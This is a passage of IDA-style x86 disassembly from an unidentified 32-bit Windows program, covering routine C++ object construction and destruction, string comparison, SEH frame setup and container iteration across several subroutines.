test eax, eax
jz short loc_413E87
lea ecx, [edi+2Ah]
call sub_4017E4
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_4017E4
loc_413E56: ; CODE XREF: sub_413DA0+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413E7A
cmp cl, bl
jz short loc_413E76
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413E7A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413E56
loc_413E76: ; CODE XREF: sub_413DA0+C0j
xor eax, eax
jmp short loc_413E7F
; ---------------------------------------------------------------------------
loc_413E7A: ; CODE XREF: sub_413DA0+BCj
; sub_413DA0+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413E7F: ; CODE XREF: sub_413DA0+D8j
cmp eax, ebx
jnz loc_413F8E
loc_413E87: ; CODE XREF: sub_413DA0+A1j
push offset byte_446F70
lea ecx, [esp+28h+arg_60]
call sub_4012EE
test eax, eax
jz short loc_413EE3
lea ecx, [edi+3Fh]
call sub_4017E4
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_4017E4
loc_413EB2: ; CODE XREF: sub_413DA0+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413ED6
cmp cl, bl
jz short loc_413ED2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413ED6
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413EB2
loc_413ED2: ; CODE XREF: sub_413DA0+11Cj
xor eax, eax
jmp short loc_413EDB
; ---------------------------------------------------------------------------
loc_413ED6: ; CODE XREF: sub_413DA0+118j
; sub_413DA0+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413EDB: ; CODE XREF: sub_413DA0+134j
cmp eax, ebx
jnz loc_413F8E
loc_413EE3: ; CODE XREF: sub_413DA0+FAj
push 58h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_413F03
mov ecx, eax
call sub_401D07
jmp short loc_413F05
; ---------------------------------------------------------------------------
loc_413F03: ; CODE XREF: sub_413DA0+158j
xor eax, eax
loc_413F05: ; CODE XREF: sub_413DA0+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_40200E
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_40200E
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_401406
; ---------------------------------------------------------------------------
lea ecx, [esp+28h]
mov byte ptr [esp+28h+var_8], 3
call sub_401226
lea ecx, [esp+28h+arg_14]
mov byte ptr [esp+28h+var_8], 2
call sub_401226
lea ecx, [esp+28h+arg_2C]
mov byte ptr [esp+28h+var_8], 1
call sub_401226
lea ecx, [esp+28h+arg_44]
mov byte ptr [esp+28h+var_8], bl
call sub_401226
lea ecx, [esp+28h+arg_5C]
mov [esp+28h+var_8], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_413FDB
; ---------------------------------------------------------------------------
loc_413F8E: ; CODE XREF: sub_413DA0+44j
; sub_413DA0+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_413FDB: ; CODE XREF: sub_413DA0+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_413DA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414090 proc near ; CODE XREF: sub_401D07j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414090
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414090 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414120: ; CODE XREF: ___:00401DC0j
push 0FFFFFFFFh
push offset loc_439C10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401861
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401861
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_401861
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_40189D
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414210 proc near ; CODE XREF: sub_401537j
add ecx, 6Ch
jmp sub_401C62
sub_414210 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414230 proc near ; CODE XREF: sub_40137Fj
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414230
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_4367FA
sub_414230 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 4
jz short loc_414273
mov ecx, eax
call sub_401BE0
; ---------------------------------------------------------------------------
jmp short loc_414275
; ---------------------------------------------------------------------------
loc_414273: ; CODE XREF: ___:00414268j
xor eax, eax
loc_414275: ; CODE XREF: ___:00414271j
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 3
push ecx
mov ecx, eax
mov [esp+8], eax
call sub_40200E
mov eax, [esp+4]
lea edx, [esp+34h]
push edx
lea ecx, [eax+15h]
call sub_40200E
mov edx, [esp+4]
lea ecx, [esp+4Ch]
push ecx
lea ecx, [edx+2Ah]
call sub_40200E
mov ecx, [esp+4]
lea eax, [esp+64h]
push eax
add ecx, 3Fh
call sub_40200E
lea edx, [esp+4]
lea ecx, [esi+60h]
push edx
call sub_401EF1
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 2
call sub_401226
lea ecx, [esp+34h]
mov byte ptr [esp+14h], 1
call sub_401226
lea ecx, [esp+4Ch]
mov byte ptr [esp+14h], 0
call sub_401226
lea ecx, [esp+64h]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414360 proc near ; CODE XREF: sub_401BE0j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_401424
lea eax, [esp+18h+var_11]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_40132A
sub_414360 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414400: ; CODE XREF: ___:004010FAj
push 0FFFFFFFFh
push offset loc_439CD8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401861
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401861
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40137F
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4144D0 proc near ; CODE XREF: sub_401DACj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4144D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401E1F
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012E9
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401D89
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D5C
test al, al
jz short loc_414580
loc_414535: ; CODE XREF: sub_4144D0+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401FA5
mov ecx, [eax]
call sub_401B72
test eax, eax
jnz short loc_41455D
lea ecx, [esp+18h+var_14]
call sub_401FA5
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_41455D: ; CODE XREF: sub_4144D0+7Cj
lea ecx, [esp+18h+var_14]
call sub_4020A4
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401D89
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D5C
test al, al
jnz short loc_414535
loc_414580: ; CODE XREF: sub_4144D0+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_4145C8
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_401258
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_4145A3
push 1
call sub_4019DD
loc_4145A3: ; CODE XREF: sub_4144D0+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_4145C8: ; CODE XREF: sub_4144D0+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_4144D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414640 proc near ; CODE XREF: sub_4019DDj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402220
test [esp+4+arg_0], 1
jz short loc_414658
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_414658: ; CODE XREF: sub_414640+Dj
mov eax, esi
pop esi
retn 4
sub_414640 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_414670 proc near ; CODE XREF: sub_402220j
jmp sub_401226
sub_414670 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: ___:00401276j
push 0FFFFFFFFh
push offset loc_439D20
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push offset asc_443C94 ; ":"
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jz short loc_414759
loc_4146F3: ; CODE XREF: ___:00414757j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push offset asc_443C94 ; ":"
push esi
push edx
call sub_4016AE
mov ecx, ebp
call sub_401DAC
cmp al, bl
jnz short loc_414720
mov [esp+13h], bl
loc_414720: ; CODE XREF: ___:0041471Aj
inc esi
push offset asc_443C94 ; ":"
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jnz short loc_4146F3
loc_414759: ; CODE XREF: ___:004146F1j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4147D0 proc near ; CODE XREF: sub_40210Dj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4147D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_4017E4
test eax, eax
jz loc_414904
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_402252
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_4018F2
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jz short loc_4148AE
loc_414844: ; CODE XREF: sub_4147D0+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 4
call sub_401B72
test eax, eax
jz short loc_41487C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B72
test eax, eax
jnz short loc_41488B
loc_41487C: ; CODE XREF: sub_4147D0+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_40135C
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41488B: ; CODE XREF: sub_4147D0+AAj
lea ecx, [esp+1Ch+var_18]
call sub_40118B
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jnz short loc_414844
loc_4148AE: ; CODE XREF: sub_4147D0+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_414904
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_402130
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_4148D1
push 1
call sub_4016FE
loc_4148D1: ; CODE XREF: sub_4147D0+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_414904: ; CODE XREF: sub_4147D0+2Ej
; sub_4147D0+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_4147D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4149A0 proc near ; CODE XREF: sub_4016FEj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A5A
test [esp+4+arg_0], 1
jz short loc_4149B8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4149B8: ; CODE XREF: sub_4149A0+Dj
mov eax, esi
pop esi
retn 4
sub_4149A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4149D0 proc near ; CODE XREF: sub_401A5Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4149D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4149D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414A60: ; CODE XREF: ___:004013B1j
push 0FFFFFFFFh
push offset loc_439D98
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40210D
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414AF0: ; CODE XREF: ___:00401B31j
push 0FFFFFFFFh
push offset loc_439DB8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_4017E4
test eax, eax
jz loc_414BF7
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401037
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_401983
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402234
push eax
lea ecx, [esp+8]
call sub_401AD7
test al, al
jz short loc_414BAF
loc_414B64: ; CODE XREF: ___:00414BADj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011D1
mov ecx, [eax]
call sub_401B72
test eax, eax
jnz short loc_414B8C
lea ecx, [esp+4]
call sub_4011D1
mov ecx, [eax]
mov [esp+8], ecx
loc_414B8C: ; CODE XREF: ___:00414B7Bj
lea ecx, [esp+4]
call sub_4018B6
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402234
push eax
lea ecx, [esp+8]
call sub_401AD7
test al, al
jnz short loc_414B64
loc_414BAF: ; CODE XREF: ___:00414B62j
mov eax, [esp+8]
test eax, eax
jz short loc_414BF7
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401154
mov ecx, [esp+8]
test ecx, ecx
jz short loc_414BD2
push 1
call sub_4011C7
; ---------------------------------------------------------------------------
loc_414BD2: ; CODE XREF: ___:00414BC9j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_414BF7: ; CODE XREF: ___:00414B1Ej
; ___:00414BB5j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414C70 proc near ; CODE XREF: sub_4011C7j
push esi
mov esi, ecx
call sub_401B45
sub_414C70 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_414C88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_414C88: ; CODE XREF: ___:00414C7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414CA0 proc near ; CODE XREF: sub_401B45j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414CA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_401578
sub_414CA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+3Fh]
mov byte ptr [esp+10h], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414D40 proc near ; CODE XREF: sub_4014BFj
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_414D40
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414E3B
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_4014C9
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push offset byte_446F70
call sub_401861
or ebx, 0FFFFFFFFh
mov ecx, offset word_448C9E
mov [esp+88h+var_4], ebx
call sub_40210D
test al, al
jz loc_414F70
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4019B5
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414E3B: ; CODE XREF: sub_414D40+36j
lea ecx, [edi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414F70
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_4014C9
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_4014C9
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_4014C9
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset asc_443600 ; " "
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011EA
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push offset asc_443600 ; " "
push 1
push ecx
mov ecx, esi
call sub_4011EA
or ebx, 0FFFFFFFFh
mov ecx, offset word_448C9E
mov [esp+0D0h+var_4], ebx
call sub_40189D
test al, al
jz short loc_414F70
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4019B5
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414F70: ; CODE XREF: sub_414D40+82j
; sub_414D40+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_414D40 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415030 proc near ; CODE XREF: sub_40132Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401EBA
sub_415030 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415070 proc near ; CODE XREF: sub_40171Cj
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
call sub_401EBA
sub_415070 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esi+4], eax
push ecx
mov ecx, edi
mov dword ptr [esi+8], 0
call sub_4016CC
mov edx, [eax]
lea eax, [esp+8]
push edx
push eax
mov ecx, edi
call sub_40113B
mov ecx, [eax]
lea edx, [esp+10h]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
mov ecx, esi
push eax
call sub_40172B
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4150F0 proc near ; CODE XREF: sub_401578j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401D89
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
